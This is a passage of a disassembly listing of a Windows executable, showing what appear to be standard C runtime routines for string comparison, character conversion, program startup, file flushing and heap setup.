					; sub_41DC4A+61j ...
		push	[ebp+var_4]
		call	sub_41B721
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DCE5:				; CODE XREF: sub_41DC4A+1Aj
					; sub_41DC4A+32j
		pop	ebx
		leave
		retn
sub_41DC4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCE8	proc near		; CODE XREF: sub_417FDF+1A3p

arg_0		= dword	ptr  4

		cmp	dword_43F824, 1
		jle	short loc_41DCFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DCFF:				; CODE XREF: sub_41DCE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43F618
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DCE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD10	proc near		; CODE XREF: sub_420BB0+76p
					; sub_420BB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43F824, 1
		jle	short loc_41DD27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DD27:				; CODE XREF: sub_41DD10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43F618
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DD10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD40	proc near		; CODE XREF: sub_4183DE+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DD8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DD8D
		test	eax, 1
		jz	short loc_41DD6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DDBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DD8A


loc_41DD6D:				; CODE XREF: sub_41DD40+20j
					; sub_41DD40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DDBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DDBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DD6D


loc_41DD8A:				; CODE XREF: sub_41DD40+2Bj
					; sub_41DD40+84j
		pop	edi
		pop	esi

locret_41DD8C:				; CODE XREF: sub_41DD40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DD8D:				; CODE XREF: sub_41DD40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DDC2
		repe cmpsd
		jz	short loc_41DDC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DDB5
		cmp	ch, dh
		jnz	short loc_41DDB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DDB5
		cmp	ch, dh


loc_41DDB5:				; CODE XREF: sub_41DD40+63j
					; sub_41DD40+67j ...
		mov	eax, 0


loc_41DDBA:				; CODE XREF: sub_41DD40+26j
					; sub_41DD40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DDC2:				; CODE XREF: sub_41DD40+55j
					; sub_41DD40+59j
		test	eax, eax
		jz	short loc_41DD8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DDB5
		dec	eax
		jz	short loc_41DDE9
		cmp	dh, ch
		jnz	short loc_41DDB5
		dec	eax
		jz	short loc_41DDE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DDB5
		dec	eax


loc_41DDE9:				; CODE XREF: sub_41DD40+8Fj
					; sub_41DD40+96j
		pop	edi
		pop	esi
		retn
sub_41DD40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDEC	proc near		; CODE XREF: sub_4186F5+6p
					; sub_418713+48p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE684, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41DE19
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41DEB2
		cmp	eax, 5Ah
		jg	loc_41DEB2
		add	eax, 20h
		jmp	loc_41DEB2
; ---------------------------------------------------------------------------


loc_41DE19:				; CODE XREF: sub_41DDEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41DE4D
		cmp	dword_43F824, esi
		jle	short loc_41DE3B
		push	esi
		push	ebx
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_41DE45
; ---------------------------------------------------------------------------


loc_41DE3B:				; CODE XREF: sub_41DDEC+42j
		mov	eax, off_43F618
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41DE45:				; CODE XREF: sub_41DDEC+4Dj
		test	eax, eax
		jnz	short loc_41DE4D


loc_41DE49:				; CODE XREF: sub_41DDEC+ADj
		mov	eax, ebx
		jmp	short loc_41DEB2
; ---------------------------------------------------------------------------


loc_41DE4D:				; CODE XREF: sub_41DDEC+3Aj
					; sub_41DDEC+5Bj
		mov	edx, off_43F618
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41DE71
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41DE7A
; ---------------------------------------------------------------------------


loc_41DE71:				; CODE XREF: sub_41DDEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41DE7A:				; CODE XREF: sub_41DDEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DE684
		call	sub_42316A
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DE49
		cmp	eax, esi
		jnz	short loc_41DEA5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41DEB2
; ---------------------------------------------------------------------------


loc_41DEA5:				; CODE XREF: sub_41DDEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41DEB2:				; CODE XREF: sub_41DDEC+16j
					; sub_41DDEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DDEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEB7	proc near		; CODE XREF: sub_418C2F+9Cp
					; sub_419C11+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41DECE


loc_41DEC4:				; CODE XREF: sub_41DEB7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41DEC4


loc_41DECE:				; CODE XREF: sub_41DEB7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41DEB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DED4	proc near		; CODE XREF: sub_418C2F+6Ep
					; sub_418C2F+7Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41DFA1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41DFCE
		cmp	dword_4DE684, esi
		jnz	short loc_41DF25
		cmp	edi, esi
		jbe	loc_41DFCE


loc_41DF04:				; CODE XREF: sub_41DED4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41DFCE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41DF04
		jmp	loc_41DFCE
; ---------------------------------------------------------------------------


loc_41DF25:				; CODE XREF: sub_41DED4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4280E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DE694
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41DFCD
		call	dword_428094	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41DF5F


loc_41DF50:				; CODE XREF: sub_41DED4+CBj
					; sub_41DED4+F7j
		mov	dword_4DE5C4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DFCE
; ---------------------------------------------------------------------------


loc_41DF5F:				; CODE XREF: sub_41DED4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41DF67:				; CODE XREF: sub_41DED4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41DF89
		mov	edx, off_43F618
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41DF7E
		inc	eax


loc_41DF7E:				; CODE XREF: sub_41DED4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41DF67


loc_41DF89:				; CODE XREF: sub_41DED4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DE694
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41DFCE
		jmp	short loc_41DF50
; ---------------------------------------------------------------------------


loc_41DFA1:				; CODE XREF: sub_41DED4+Fj
		cmp	dword_4DE684, esi
		jnz	short loc_41DFB4
		push	[ebp+arg_4]
		call	sub_41B650
		pop	ecx
		jmp	short loc_41DFCE
; ---------------------------------------------------------------------------


loc_41DFB4:				; CODE XREF: sub_41DED4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DE694
		call	dword_4280E8	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_41DF50


loc_41DFCD:				; CODE XREF: sub_41DED4+6Bj
		dec	eax


loc_41DFCE:				; CODE XREF: sub_41DED4+1Aj
					; sub_41DED4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DED4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFD3	proc near

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_428708
		push	offset sub_423B80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_4281BC	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4DE5DC, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4DE5D8, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4DE5D4, ecx
		shr	eax, 10h
		mov	dword_4DE5D0, eax
		xor	esi, esi
		push	esi
		call	sub_41E472
		pop	ecx
		test	eax, eax
		jnz	short loc_41E03F
		push	1Ch
		call	sub_41E0EE
		pop	ecx


loc_41E03F:				; CODE XREF: sub_41DFD3+62j
		mov	[ebp+var_4], esi
		call	sub_4239CD
		call	dword_4281B8	; GetCommandLineA
		mov	dword_4DFC6C, eax
		call	sub_42389B
		mov	dword_4DE638, eax
		call	sub_42364E
		call	sub_423595
		call	sub_41BDF4
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_4281B4	; GetStartupInfoA
		call	sub_42353D
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_41E08C
		movzx	eax, [ebp+var_2C]
		jmp	short loc_41E08F
; ---------------------------------------------------------------------------


loc_41E08C:				; CODE XREF: sub_41DFD3+B1j
		push	0Ah
		pop	eax


loc_41E08F:				; CODE XREF: sub_41DFD3+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_4280A4	; GetModuleHandleA
		push	eax
		call	sub_40121E
		mov	[ebp+var_60], eax
		push	eax
		call	sub_41BE21
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_4233B9
		pop	ecx
		pop	ecx
		retn
sub_41DFD3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_41BE32

; =============== S U B	R O U T	I N E =======================================



sub_41E0C9	proc near		; CODE XREF: .XPack0:0041D6D8p
					; sub_423595+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_4DE640, 1
		jnz	short loc_41E0D7
		call	sub_423C58


loc_41E0D7:				; CODE XREF: sub_41E0C9+7j
		push	[esp+arg_0]
		call	sub_423C91
		push	0FFh
		call	off_43D5E0
		pop	ecx
		pop	ecx
		retn
sub_41E0C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0EE	proc near		; CODE XREF: sub_41DFD3+66p

arg_0		= dword	ptr  4

		cmp	dword_4DE640, 1
		jnz	short loc_41E0FC
		call	sub_423C58


loc_41E0FC:				; CODE XREF: sub_41E0EE+7j
		push	[esp+arg_0]
		call	sub_423C91
		pop	ecx
		push	0FFh
		call	dword_42806C	; ExitProcess
		retn
sub_41E0EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E112	proc near		; CODE XREF: sub_41B6CB+2Ap
					; sub_4240FB+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DFA20
		jnb	loc_41E1AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DF920h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E1AC
		push	edi
		call	sub_423F6A
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E18B
		cmp	edi, 1
		jz	short loc_41E159
		cmp	edi, 2
		jnz	short loc_41E16F


loc_41E159:				; CODE XREF: sub_41E112+40j
		push	2
		call	sub_423F6A
		push	1
		mov	ebp, eax
		call	sub_423F6A
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E18B


loc_41E16F:				; CODE XREF: sub_41E112+45j
		push	edi
		call	sub_423F6A
		pop	ecx
		push	eax
		call	dword_428070	; CloseHandle
		test	eax, eax
		jnz	short loc_41E18B
		call	dword_428094	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41E18D
; ---------------------------------------------------------------------------


loc_41E18B:				; CODE XREF: sub_41E112+3Bj
					; sub_41E112+5Bj ...
		xor	ebp, ebp


loc_41E18D:				; CODE XREF: sub_41E112+77j
		push	edi
		call	sub_423EF0
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E1A8
		push	ebp
		call	sub_420A7F
		pop	ecx
		jmp	short loc_41E1BD
; ---------------------------------------------------------------------------


loc_41E1A8:				; CODE XREF: sub_41E112+8Bj
		xor	eax, eax
		jmp	short loc_41E1C0
; ---------------------------------------------------------------------------


loc_41E1AC:				; CODE XREF: sub_41E112+Ej
					; sub_41E112+2Fj
		and	dword_4DE5C8, 0
		mov	dword_4DE5C4, 9


loc_41E1BD:				; CODE XREF: sub_41E112+94j
		or	eax, 0FFFFFFFFh


loc_41E1C0:				; CODE XREF: sub_41E112+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E112	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1C5	proc near		; CODE XREF: sub_41B6CB+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E1EE
		test	al, 8
		jz	short loc_41E1EE
		push	dword ptr [esi+8]
		call	sub_41B721
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E1EE:				; CODE XREF: sub_41E1C5+Aj
					; sub_41E1C5+Ej
		pop	esi
		retn
sub_41E1C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F0	proc near		; CODE XREF: sub_41E290+2Dp
					; sub_41E290+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E202
		push	esi
		call	sub_41E290
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E202:				; CODE XREF: sub_41E1F0+7j
		push	esi
		call	sub_41E22B
		test	eax, eax
		pop	ecx
		jz	short loc_41E212
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E212:				; CODE XREF: sub_41E1F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E227
		push	dword ptr [esi+10h]
		call	sub_423FA7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E227:				; CODE XREF: sub_41E1F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E1F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E22B	proc near		; CODE XREF: sub_41B6CB+1Ap
					; sub_41D88C+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E278
		test	ax, 108h
		jz	short loc_41E278
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E278
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_422FBD
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E271
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E278
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E278
; ---------------------------------------------------------------------------


loc_41E271:				; CODE XREF: sub_41E22B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E278:				; CODE XREF: sub_41E22B+14j
					; sub_41E22B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E287	proc near		; CODE XREF: sub_4240A3p
		push	1
		call	sub_41E290
		pop	ecx
		retn
sub_41E287	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E290	proc near		; CODE XREF: sub_41E1F0+Ap
					; sub_41E287+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DF900, esi
		jle	short loc_41E2EE


loc_41E2A1:				; CODE XREF: sub_41E290+5Cj
		mov	eax, dword_4DE8E8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E2E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E2E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E2CB
		push	eax
		call	sub_41E1F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E2E5
		inc	ebx
		jmp	short loc_41E2E5
; ---------------------------------------------------------------------------


loc_41E2CB:				; CODE XREF: sub_41E290+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E2E5
		test	cl, 2
		jz	short loc_41E2E5
		push	eax
		call	sub_41E1F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E2E5
		or	edi, eax


loc_41E2E5:				; CODE XREF: sub_41E290+1Bj
					; sub_41E290+23j ...
		inc	esi
		cmp	esi, dword_4DF900
		jl	short loc_41E2A1


loc_41E2EE:				; CODE XREF: sub_41E290+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E2F9
		mov	eax, edi


loc_41E2F9:				; CODE XREF: sub_41E290+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E290	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2FD	proc near		; CODE XREF: sub_41E32A+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	dword_4280A4	; GetModuleHandleA
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E328
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E328
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E328:				; CODE XREF: sub_41E2FD+15j
					; sub_41E2FD+1Cj
		pop	esi
		retn
sub_41E2FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E32A	proc near		; CODE XREF: sub_41E472+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C190
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_4280D0	; GetVersionExA
		test	eax, eax
		jz	short loc_41E36D
		cmp	[ebp+var_88], 2
		jnz	short loc_41E36D
		cmp	[ebp+var_94], 5
		jb	short loc_41E36D
		push	1
		pop	eax
		jmp	loc_41E46F
; ---------------------------------------------------------------------------


loc_41E36D:				; CODE XREF: sub_41E32A+27j
					; sub_41E32A+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_4281C0	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41E45C
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_41E3AF


loc_41E39C:				; CODE XREF: sub_41E32A+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E3AA
		cmp	al, 7Ah
		jg	short loc_41E3AA
		sub	al, 20h
		mov	[ecx], al


loc_41E3AA:				; CODE XREF: sub_41E32A+76j
					; sub_41E32A+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E39C


loc_41E3AF:				; CODE XREF: sub_41E32A+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C4E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E3D1
		lea	eax, [ebp+var_122C]
		jmp	short loc_41E41A
; ---------------------------------------------------------------------------


loc_41E3D1:				; CODE XREF: sub_41E32A+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	dword_428078	; GetModuleFileNameA
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_41E405


loc_41E3F2:				; CODE XREF: sub_41E32A+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E400
		cmp	al, 7Ah
		jg	short loc_41E400
		sub	al, 20h
		mov	[ecx], al


loc_41E400:				; CODE XREF: sub_41E32A+CCj
					; sub_41E32A+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E3F2


loc_41E405:				; CODE XREF: sub_41E32A+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_41BF70
		pop	ecx
		pop	ecx


loc_41E41A:				; CODE XREF: sub_41E32A+A5j
		cmp	eax, ebx
		jz	short loc_41E45C
		push	2Ch
		push	eax
		call	sub_41C620
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E45C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E441


loc_41E433:				; CODE XREF: sub_41E32A+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E43C
		mov	[ecx], bl
		jmp	short loc_41E43D
; ---------------------------------------------------------------------------


loc_41E43C:				; CODE XREF: sub_41E32A+10Cj
		inc	ecx


loc_41E43D:				; CODE XREF: sub_41E32A+110j
		cmp	[ecx], bl
		jnz	short loc_41E433


loc_41E441:				; CODE XREF: sub_41E32A+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C216
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E46F
		cmp	eax, 3
		jz	short loc_41E46F
		cmp	eax, 1
		jz	short loc_41E46F


loc_41E45C:				; CODE XREF: sub_41E32A+5Cj
					; sub_41E32A+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E2FD
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E46F:				; CODE XREF: sub_41E32A+3Ej
					; sub_41E32A+126j ...
		pop	ebx
		leave
		retn
sub_41E32A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E472	proc near		; CODE XREF: sub_41DFD3+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4281C8	; HeapCreate
		test	eax, eax
		mov	dword_4DFC64, eax
		jz	short loc_41E4C8
		call	sub_41E32A
		cmp	eax, 3
		mov	dword_4DFC68, eax
		jnz	short loc_41E4AE
		push	3F8h
		call	sub_41E4CF
		pop	ecx
		jmp	short loc_41E4B8
; ---------------------------------------------------------------------------


loc_41E4AE:				; CODE XREF: sub_41E472+2Dj
		cmp	eax, 2
		jnz	short loc_41E4CB
		call	sub_41F016


loc_41E4B8:				; CODE XREF: sub_41E472+3Aj
		test	eax, eax
		jnz	short loc_41E4CB
		push	dword_4DFC64
		call	dword_4281C4	; HeapDestroy


loc_41E4C8:				; CODE XREF: sub_41E472+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E472+3Fj
					; sub_41E472+48j
		push	1
		pop	eax
		retn
sub_41E472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4CF	proc near		; CODE XREF: sub_41E472+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_4DFC64
		call	dword_428154	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4DFC5C, eax
		jnz	short loc_41E4EC
		retn
; ---------------------------------------------------------------------------


loc_41E4EC:				; CODE XREF: sub_41E4CF+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_4DFC54, 0
		and	dword_4DFC58, 0
		push	1
		mov	dword_4DFC50, eax
		mov	dword_4DFC60, ecx
		mov	dword_4DFC48, 10h
		pop	eax
		retn
sub_41E4CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_41B721+17p
					; sub_41B872+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DFC58
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DFC5C
		lea	ecx, [eax+ecx*4]


loc_41E527:				; CODE XREF: sub_41E517+26j
		cmp	eax, ecx
		jnb	short loc_41E53F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E541
		add	eax, 14h
		jmp	short loc_41E527
; ---------------------------------------------------------------------------


loc_41E53F:				; CODE XREF: sub_41E517+12j
		xor	eax, eax

locret_41E541:				; CODE XREF: sub_41E517+21j
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E542	proc near		; CODE XREF: sub_41B721+23p
					; sub_41B872+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E866
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
